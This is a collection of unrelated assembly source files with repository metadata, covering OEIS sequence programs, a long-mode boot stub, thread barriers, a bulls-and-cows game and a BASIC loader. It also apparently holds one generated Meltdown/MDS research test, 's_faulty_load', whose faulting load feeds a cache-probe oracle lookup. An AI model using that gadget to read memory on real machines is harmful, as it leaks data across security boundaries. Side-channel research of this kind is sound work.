; A003417: Continued fraction for e. ; 2,1,2,1,1,4,1,1,6,1,1,8,1,1,10,1,1,12,1,1,14,1,1,16,1,1,18,1,1,20,1,1,22,1,1,24,1,1,26,1,1,28,1,1,30,1,1,32,1,1,34,1,1,36,1,1,38,1,1,40,1,1,42,1,1,44,1,1,46,1,1,48,1,1,50,1,1,52,1,1,54,1,1,56,1,1,58,1,1,60,1,1,62,1,1,64,1,1,66,1,1,68,1,1,70,1,1,72,1,1,74,1,1,76,1,1,78,1,1,80,1,1,82,1,1,84,1,1,86,1,1,88,1,1,90,1,1,92,1,1,94,1,1,96,1,1,98,1,1,100,1,1,102,1,1,104,1,1,106,1,1,108,1,1,110,1,1,112,1,1,114,1,1,116,1,1,118,1,1,120,1,1,122,1,1,124,1,1,126,1,1,128,1,1,130,1,1,132,1,1,134,1,1,136,1,1,138,1,1,140,1,1,142,1,1,144,1,1,146,1,1,148,1,1,150,1,1,152,1,1,154,1,1,156,1,1,158,1,1,160,1,1,162,1,1,164,1,1,166,1 mov $2,$0 add $0,2 mov $1,2 mov $3,$0 lpb $2 sub $3,2 lpb $0 add $0,$3 sub $0,3 add $4,$3 lpe mov $1,$2 sub $3,1 trn $4,$2 sub $2,$4 trn $2,1 lpe
39.380952
614
0.568319
4917bf0d80212736e98ff6ffe84e2ce0c8347a28
577
asm
Assembly
oeis/064/A064757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/064/A064757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/064/A064757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A064757: a(n) = n*11^n - 1. ; 10,241,3992,58563,805254,10629365,136410196,1714871047,21221529218,259374246009,3138428376720,37661140520651,448795257871102,5316497670165373,62658722541234764,735195677817154575,8592599484487994106,100078511642860166657,1162022718519876379528,13454999898651200184019,155405248829421362125430,1790860486510474744493061,20594895594870459561670212,236393584219382666273084183,2708676485847093051045756274,30987258998090744503963451785,353969843170498119910659430016,4037878210981978553054929794267 add $0,1 mov $2,11 pow $2,$0 mul $0,$2 sub $0,1
64.111111
497
0.880416
52aea07d40240f2c3a107382d4e2c03b2198b445
223
asm
Assembly
longmode/src/arch/x86_64/long_mode_init.asm
makiftasova/rustKernel
904846bba9899075661bc38debd3437d9d1db0da
[ "MIT" ]
null
null
null
longmode/src/arch/x86_64/long_mode_init.asm
makiftasova/rustKernel
904846bba9899075661bc38debd3437d9d1db0da
[ "MIT" ]
null
null
null
longmode/src/arch/x86_64/long_mode_init.asm
makiftasova/rustKernel
904846bba9899075661bc38debd3437d9d1db0da
[ "MIT" ]
null
null
null
global long_mode_start section .text bits 64 long_mode_start: mov ax, 0 mov ss, ax mov ds, ax mov es, ax mov fs, ax mov gs, ax ; print "OKAY" to screen mov rax, 0x2f592f412f4b2f4f mov qword [0xB8000], rax hlt
12.388889
28
0.699552
41db3231ef3e9b419766d74e711f5593538988eb
309
asm
Assembly
mc-sema/validator/x86/tests/SETNEm.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
2
2021-08-07T16:21:29.000Z
2021-11-17T10:58:37.000Z
mc-sema/validator/x86/tests/SETNEm.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
mc-sema/validator/x86/tests/SETNEm.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS=FLAG_AF ;TEST_FILE_META_END ; SETNEm mov ecx, 0x5 mov ebx, 0xa cmp ecx, ebx ;TEST_BEGIN_RECORDING lea edi, [esp-0x4] mov DWORD [edi], 0xc setne [edi] mov eax, [edi] xor edi, edi ;TEST_END_RECORDING
17.166667
25
0.66343
dbe2dcb0b12222889f43476826e7a72b6f6edde7
10,209
asm
Assembly
source/barrier.asm
samuelgr/Spindle
ee2157dba95eaa6cba02763ca71d46ae8f77f796
[ "BSD-3-Clause" ]
3
2018-09-03T17:01:32.000Z
2022-01-14T20:47:47.000Z
source/barrier.asm
samuelgr/Spindle
ee2157dba95eaa6cba02763ca71d46ae8f77f796
[ "BSD-3-Clause" ]
null
null
null
source/barrier.asm
samuelgr/Spindle
ee2157dba95eaa6cba02763ca71d46ae8f77f796
[ "BSD-3-Clause" ]
null
null
null
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Spindle ; Multi-platform topology-aware thread control library. ; Distributes a set of synchronized tasks over cores in the system. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Authored by Samuel Grossman ; Department of Electrical Engineering, Stanford University ; Copyright (c) 2016-2017 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; barrier.asm ; Implementation of internal thread barrier functionality. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; INCLUDE helpers.inc INCLUDE registers.inc DATA SEGMENT ALIGN(64) ; --------- GLOBALS ----------------------------------------------------------- ; See "barrier.h" for documentation. PUBLIC spindleGlobalBarrierCounter spindleGlobalBarrierCounter DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h PUBLIC spindleGlobalBarrierFlag spindleGlobalBarrierFlag DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h PUBLIC spindleInternalGlobalBarrierCounter spindleInternalGlobalBarrierCounter DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h PUBLIC spindleInternalGlobalBarrierFlag spindleInternalGlobalBarrierFlag DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h DQ 0000000000000000h PUBLIC spindleLocalBarrierBase spindleLocalBarrierBase DQ 0000000000000000h DATA ENDS _TEXT SEGMENT ; --------- MACROS ------------------------------------------------------------ ; Implements a thread barrier. ; Invoked by the various routines that expose thread barriers to the library user. ; Register parameters: ecx (number of threads for which to wait), r8 (memory address of barrier counter), r9 (memory address of barrier flag) ; Macro parameters: label to use for the internal loop, label to use for completion ; Internally uses and overwrites eax and edx. spindleBarrier MACRO labelLoop, labelDone ; Read in the current value of the thread barrier flag. mov edx, DWORD PTR [r9] ; Atomically decrement the thread barrier counter and start waiting if needed. lock sub DWORD PTR [r8], 1 jne labelLoop ; If all other threads have been here, clean up and signal them to wake up. mov DWORD PTR [r8], ecx add DWORD PTR [r9], 1 jmp labelDone ; Wait here for the signal. labelLoop: pause cmp edx, DWORD PTR [r9] je labelLoop labelDone: ENDM ; --------- FUNCTIONS --------------------------------------------------------- ; See "barrier.h" and "spindle.h" for documentation. spindleBarrierLocal PROC PUBLIC ; Calculate the memory address within the local barrier memory region for the current thread's barrier counter and flag. ; This is based on the thread's task ID. spindleAsmHelperGetTaskID r8d shl r8, 7 add r8, QWORD PTR [spindleLocalBarrierBase] mov r9, r8 add r9, 64 ; Number of threads for which to wait is equal to the number of threads that exist locally in the current task. spindleAsmHelperGetLocalThreadCount ecx ; Invoke the barrier itself. spindleBarrier spindleBarrierLocal_Loop, spindleBarrierLocal_Done ; All threads in the present task have passed the barrier. ret spindleBarrierLocal ENDP ; --------- spindleBarrierGlobal PROC PUBLIC ; Obtain the addresses of counter and flag. lea r8, QWORD PTR [spindleGlobalBarrierCounter] lea r9, QWORD PTR [spindleGlobalBarrierFlag] ; Number of threads for which to wait is equal to the number of threads that exist globally. spindleAsmHelperGetGlobalThreadCount ecx ; Invoke the barrier itself. spindleBarrier spindleBarrierGlobal_Loop, spindleBarrierGlobal_Done ; All threads globally have passed the barrier. ret spindleBarrierGlobal ENDP ; --------- spindleBarrierInternalGlobal PROC PUBLIC ; Obtain the addresses of counter and flag. lea r8, QWORD PTR [spindleInternalGlobalBarrierCounter] lea r9, QWORD PTR [spindleInternalGlobalBarrierFlag] ; Number of threads for which to wait is equal to the number of threads that exist globally. spindleAsmHelperGetGlobalThreadCount ecx ; Invoke the barrier itself. spindleBarrier spindleBarrierInternalGlobal_Loop, spindleBarrierInternalGlobal_Done ; All threads globally have passed the barrier. ret spindleBarrierInternalGlobal ENDP ; --------- spindleInitializeLocalThreadBarrier PROC PUBLIC ; Each local barrier counter/flag combination is 128 bytes in size, or two cache lines. ; Once the address is determined, place the number of threads in the local group into the counter and initialize the flag to 0. shl r_param1, 7 add r_param1, QWORD PTR [spindleLocalBarrierBase] mov DWORD PTR [r_param1+0], e_param2 mov DWORD PTR [r_param1+64], 0 ret spindleInitializeLocalThreadBarrier ENDP ; --------- spindleInitializeGlobalThreadBarrier PROC PUBLIC ; Place the total number of threads into the counter and initialize the flag to 0. mov DWORD PTR [spindleGlobalBarrierCounter], e_param1 mov DWORD PTR [spindleGlobalBarrierFlag], 0 mov DWORD PTR [spindleInternalGlobalBarrierCounter], e_param1 mov DWORD PTR [spindleInternalGlobalBarrierFlag], 0 ret spindleInitializeGlobalThreadBarrier ENDP ; --------- spindleTimedBarrierLocal PROC PUBLIC ; Capture the initial timestamp. lfence rdtsc shl rdx, 32 or rax, rdx mov r8, rax ; Perform the barrier. call spindleBarrierLocal ; Capture the final timestamp and calculate the time taken. lfence rdtsc shl rdx, 32 or rax, rdx sub rax, r8 mov r_retval, rax ret spindleTimedBarrierLocal ENDP ; --------- spindleTimedBarrierGlobal PROC PUBLIC ; Capture the initial timestamp. lfence rdtsc shl rdx, 32 or rax, rdx mov r8, rax ; Perform the barrier. call spindleBarrierGlobal ; Capture the final timestamp and calculate the time taken. lfence rdtsc shl rdx, 32 or rax, rdx sub rax, r8 mov r_retval, rax ret spindleTimedBarrierGlobal ENDP _TEXT ENDS END
43.075949
141
0.454599
ec2dee12e37bcb0b7b7f778643b998a88c719129
673
asm
Assembly
oeis/210/A210673.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/210/A210673.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/210/A210673.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A210673: a(n) = a(n-1)+a(n-2)+n-4, a(0)=0, a(1)=1. ; Submitted by Jon Maiga ; 0,1,-1,-1,-2,-2,-2,-1,1,5,12,24,44,77,131,219,362,594,970,1579,2565,4161,6744,10924,17688,28633,46343,74999,121366,196390,317782,514199,832009,1346237,2178276,3524544,5702852,9227429,14930315,24157779,39088130,63245946,102334114,165580099,267914253,433494393,701408688,1134903124,1836311856,2971215025,4807526927,7778741999,12586268974,20365011022,32951280046,53316291119,86267571217,139583862389,225851433660,365435296104,591286729820,956722025981,1548008755859,2504730781899,4052739537818 mov $3,-4 lpb $0 sub $0,1 add $2,1 add $1,$2 mov $4,$2 add $2,$3 mov $3,$4 lpe mov $0,$1
44.866667
492
0.756315
21c511abcbbb820aa58a1858d3c0b771ff67f0c8
104
asm
Assembly
documents/Programmierparadigmen/scripts/assembler/firstp.asm
RalfGuder/LaTeX-examples
a1bf9fe422969be1ca4674394ebd2170c07f7693
[ "MIT" ]
1,231
2015-01-07T04:04:25.000Z
2022-03-31T17:43:29.000Z
documents/Programmierparadigmen/scripts/assembler/firstp.asm
DoubleL61/LaTeX-examples
cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c
[ "MIT" ]
5
2015-05-10T13:10:47.000Z
2021-05-02T21:28:49.000Z
documents/Programmierparadigmen/scripts/assembler/firstp.asm
DoubleL61/LaTeX-examples
cd0d97f85fadb59b7c6e9062b37a8bf7d725ba0c
[ "MIT" ]
400
2015-01-05T06:22:18.000Z
2022-03-19T04:07:59.000Z
org 100h start: mov ax, 5522h mov cx, 1234h xchg cx,ax mov al, 0 mov ah,4Ch int 21h
13
16
0.576923
d3b7ff7b330219f88fb06cb3c425da2afa5be332
1,915
asm
Assembly
programs/oeis/134/A134638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/134/A134638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/134/A134638.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A134638: Row sums of triangle A134637. ; 1,8,28,76,182,406,868,1808,3706,7522,15176,30508,61198,122606,245452,491176,982658,1965658,3931696,7863812,15728086,31456678,62913908,125828416,251657482,503315666,1006632088,2013264988,4026530846,8053062622,16106126236,32212253528,64424508178,128849017546,257698036352,515396074036,1030792149478,2061584300438,4123168602436,8246337206512,16492674414746,32985348831298,65970697664488,131941395330956,263882790663982,527765581330126,1055531162662508,2111062325327368,4222124650657186,8444249301316922,16888498602636496,33776997205275748,67553994410554358,135107988821111686,270215977642226452,540431955284456096,1080863910568915498,2161727821137834418,4323455642275672376,8646911284551348412,17293822569102700606,34587645138205405118,69175290276410814268,138350580552821632696,276701161105643269682,553402322211286543786,1106804644422573092128,2213609288845146188948,4427218577690292382726,8854437155380584770422,17708874310761169545956,35417748621522339097168,70835497243044678199738,141670994486089356405026,283341988972178712815752,566683977944357425637356,1133367955888714851280718,2266735911777429702567598,4533471823554859405141516,9066943647109718810289512,18133887294219437620585666,36267774588438875241178138,72535549176877750482363248,145071098353755500964733636,290142196707511001929474582,580284393415022003858956646,1160568786830044007717920948,2321137573660088015435849728,4642275147320176030871707466,9284550294640352061743423122,18569100589280704123486854616,37138201178561408246973717788,74276402357122816493947444318,148552804714245632987894897566,297105609428491265975789804252,594211218856982531951579617816,1188422437713965063903159245138,2376844875427930127806318499978,4753689750855860255612637009856,9507379501711720511225274029812 mov $2,3 mov $3,3 lpb $0 sub $0,1 add $3,1 add $3,$2 add $1,$3 add $2,2 mul $3,2 lpe add $1,1 mov $0,$1
119.6875
1,756
0.910183
a6bbde8aff21792800917a7cccbae22ec794986d
2,395
asm
Assembly
LAB8/q3.asm
Avigdor-Kolonimus/ASM
23327c9765ab1cc6bfe3dfaaa9a129dda5aac77a
[ "MIT" ]
null
null
null
LAB8/q3.asm
Avigdor-Kolonimus/ASM
23327c9765ab1cc6bfe3dfaaa9a129dda5aac77a
[ "MIT" ]
null
null
null
LAB8/q3.asm
Avigdor-Kolonimus/ASM
23327c9765ab1cc6bfe3dfaaa9a129dda5aac77a
[ "MIT" ]
null
null
null
DSEG SEGMENT OUTMES DB "Enter yout guess:",0Ah,0Dh,'$' WIN DB 0Ah,0Dh,"WIN!",0Ah,0Dh,'$' newline DB 0Ah,0Dh,'$' BULL DB "-bull's eyes",0Ah,0Dh,'$' HIT DB "-hits",0Ah,0Dh,'$' ERRMES DB 0Ah,0Dh,"Illegal guess, try again",0Ah,0Dh,'$' password DB ' ',' ',' ',' ','$' try DB ' ',' ',' ',' ','$' DSEG ENDS sseg segment stack dw 100h dup(?) sseg ends CS1 SEGMENT ASSUME DS:DSEG,CS:CS1,ss:sseg ;procedure print on screen string MESS proc mov bp,sp mov dx,[bp+2] mov ah,9 int 21h ret 2 MESS endp RANDGEN proc ; generate a rand no using the system time mov bl,10 xor si,si mov AH, 00h ; interrupts to get system time int 1AH ; CX:DX now hold number of clock ticks since midnight IRP num,<cl,dl,ch,dh> mov ax,0 mov al,num div bl add ah,30h mov password[si],ah inc si endm ret RANDGEN endp ;procedure check character is number between 0 and 9 check proc mov bl,0 cmp al,'9' ja P1 cmp al,'0' jb P1 ret P1: mov bl,1 lea dx,ERRMES push dx call MESS ret check endp ;count bulls bulP proc xor si,si mov cx,4 mov bl,0 P2: mov al,password[si] cmp al,try[si] jne P3 inc bl P3: inc si loop P2 ret bulP endp ;count hits hitP proc xor si,si mov cx,4 mov bh,0 P6: mov al,password[si] xor di,di push cx mov cx,4 P5: cmp al,try[di] jne P4 cmp al,try[si] je P7 inc bh P4: inc di loop P5 P7: inc si pop cx loop P6 ret hitp endp START : MOV AX,DSEG MOV DS,AX ;---------------------------------------------- call RANDGEN L3: lea dx,OUTMES push dx call MESS mov cx,4 xor si,si ;input and checks of input L1: mov ah,1 int 21h cmp al,'q' je L2 call check cmp bl,1 je L1 mov try[si],al inc si loop L1 ;check password and try ;bull call bulP cmp bl,4 je L4 lea dx,newline push dx call MESS mov dl,bl add dl,30h mov ah,2 int 21h lea dx,BULL push dx call MESS ;hit call hitp lea dx,newline push dx call MESS mov dl,bh add dl,30h mov ah,2 int 21h lea dx,HIT push dx call MESS jmp L3 ;win L4: lea dx,WIN push dx call MESS mov bl,1 jmp SOF ;exit L2: lea dx,newline push dx call MESS lea dx,password push dx call MESS jmp SOF ;---------------------------------------------- SOF: MOV Ah,4CH INT 21H CS1 ENDS END START
15.551948
68
0.587474
1634088fdd6db3c84a644498819d7863d09e7105
1,158
asm
Assembly
source/utility/loadcode.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
2
2020-01-05T03:47:50.000Z
2020-01-06T15:38:15.000Z
source/utility/loadcode.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
null
null
null
source/utility/loadcode.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
1
2021-05-14T17:04:16.000Z
2021-05-14T17:04:16.000Z
; ****************************************************************************** ; ****************************************************************************** ; ; Name : loadcode.asm ; Purpose : Load Code into BASIC space for testing ; Author : Paul Robson (paul@robsons.org.uk) ; Created : 27th October 2019 ; ; ****************************************************************************** ; ****************************************************************************** ; ****************************************************************************** ; ; Simple Block copy of test program -> $801. Not in final build. ; ; ****************************************************************************** LoadBasicCode: set16 zTemp0,LBCTest set16 zTemp1,$801 _LBCCopy: ldy #2 ; skip over the loading address lda (zTemp0),y ; skips first two bytes :) sta (zTemp1) inc16 zTemp0 inc16 zTemp1 lda zTemp0 cmp #LBCTestEnd & $FF bne _LBCCopy lda zTemp0+1 cmp #LBCTestEnd >> 8 bne _LBCCopy rts ; ; This is generated by makeprogram.py ; LBCTest: .binary "../generated/test.prg" LBCTestEnd:
28.95
80
0.377375
166544caf1102a1c73a2fceadf9d608391481796
1,277
asm
Assembly
programs/oeis/286/A286753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/286/A286753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/286/A286753.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A286753: Positions of 0 in A286752; complement of A286753. ; 2,4,5,7,9,12,14,15,17,19,22,24,26,27,29,32,34,36,37,39,42,44,46,47,49,51,54,56,57,59,61,64,66,68,69,71,74,76,78,79,81,84,86,88,89,91,93,96,98,99,101,103,106,108,109,111,113,116,118,120,121,123,126,128,130,131,133,135,138,140,141,143,145,148,150,151,153,155,158,160,162,163,165,168,170,172,173,175,177,180,182,183,185,187,190,192,193,195,197,200,202,204,205,207,210,212,214,215,217,220,222,224,225,227,229,232,234,235,237,239,242,244,246,247,249,252,254,256,257,259,262,264,266,267,269,271,274,276,277,279,281,284,286,287,289,291,294,296,298,299,301,304,306,308,309,311,313,316,318,319,321,323,326,328,329,331,333,336,338,340,341,343,346,348,350,351,353,355,358,360,361,363,365,368,370,371,373,375,378,380,382,383,385,388,390,392,393,395,398,400,402,403,405,407,410,412,413,415,417,420,422,424,425,427,430,432,434,435,437,440,442,444,445,447,449,452,454,455,457,459,462,464,466,467,469,472,474,476,477,479,482,484,486,487,489,491,494,496,497,499 mov $6,$0 add $0,1 mov $4,$0 mov $0,631 mov $3,6 mul $4,631 lpb $0,1 mul $3,2 mov $5,$3 pow $5,2 mov $1,$5 mul $1,2 mul $4,2 div $4,$1 gcd $4,2 mov $0,$4 mul $0,162 lpe mul $0,5 mov $1,$0 sub $1,810 div $1,810 add $1,1 mov $2,$6 mul $2,2 add $1,$2
42.566667
946
0.689115
28f1b447bb68fa28933db836f533de74bd0a4961
5,536
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_140_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_140_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_140_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x154c0, %r9 nop nop add $3457, %r11 movw $0x6162, (%r9) nop inc %rdx lea addresses_UC_ht+0xd928, %r10 nop nop nop cmp $50134, %r9 movl $0x61626364, (%r10) dec %rdi lea addresses_WC_ht+0x1bb28, %r11 nop nop nop nop nop and $29851, %rbp movw $0x6162, (%r11) nop nop nop nop add $30379, %r9 lea addresses_UC_ht+0x1d528, %rdx cmp $22405, %r10 mov (%rdx), %r9w nop nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0x5d28, %r11 clflush (%r11) nop nop nop add $13071, %rdx mov (%r11), %r9 nop nop nop nop inc %rbp lea addresses_normal_ht+0xeb53, %rsi lea addresses_D_ht+0x3528, %rdi nop nop add %rdx, %rdx mov $86, %rcx rep movsq nop nop nop nop add %r10, %r10 lea addresses_UC_ht+0x67e8, %r11 nop nop inc %r10 movb (%r11), %r13b and %rbp, %rbp lea addresses_WT_ht+0x5de8, %r9 nop nop nop nop nop and %rbp, %rbp mov (%r9), %r10d nop nop nop nop nop sub $15999, %r11 lea addresses_UC_ht+0x15528, %rsi nop nop nop nop and $20067, %r11 mov (%rsi), %r10 nop and %rbp, %rbp lea addresses_WT_ht+0x1bc68, %rbp nop add $38651, %r9 mov (%rbp), %ecx nop nop nop sub %rcx, %rcx lea addresses_UC_ht+0x7940, %rsi lea addresses_WT_ht+0x16d00, %rdi clflush (%rdi) add $47707, %r10 mov $99, %rcx rep movsq nop nop nop nop inc %r10 lea addresses_normal_ht+0x1c528, %rbp nop nop dec %rcx mov (%rbp), %r10w cmp $52366, %r13 lea addresses_WC_ht+0x2128, %rsi lea addresses_UC_ht+0x1528, %rdi nop nop nop nop sub %rdx, %rdx mov $34, %rcx rep movsw nop nop nop nop nop and %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %r9 push %rax push %rcx // Store lea addresses_D+0x1f528, %r8 nop nop nop nop nop add %r9, %r9 mov $0x5152535455565758, %r15 movq %r15, %xmm0 movntdq %xmm0, (%r8) nop and %r8, %r8 // Store lea addresses_UC+0x5428, %r8 nop nop dec %rcx movw $0x5152, (%r8) nop nop nop nop nop add %r8, %r8 // Store lea addresses_D+0x1f528, %r8 nop nop nop nop cmp $40463, %rcx mov $0x5152535455565758, %r11 movq %r11, %xmm5 movups %xmm5, (%r8) nop and %r10, %r10 // Store lea addresses_WC+0x1c7ec, %r11 nop nop nop nop and $46091, %r9 movw $0x5152, (%r11) nop nop nop nop xor $26262, %r8 // Faulty Load lea addresses_D+0x1f528, %r11 nop add %r9, %r9 movups (%r11), %xmm0 vpextrq $1, %xmm0, %rcx lea oracles, %r11 and $0xff, %rcx shlq $12, %rcx mov (%r11,%rcx,1), %rcx pop %rcx pop %rax pop %r9 pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'00': 140} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
21.129771
419
0.645412
1b34bd57d9ed2695bbd385a32f548c9e072e1537
305
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_VRAMmemset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_VRAMmemset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sccz80/SMS_VRAMmemset.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
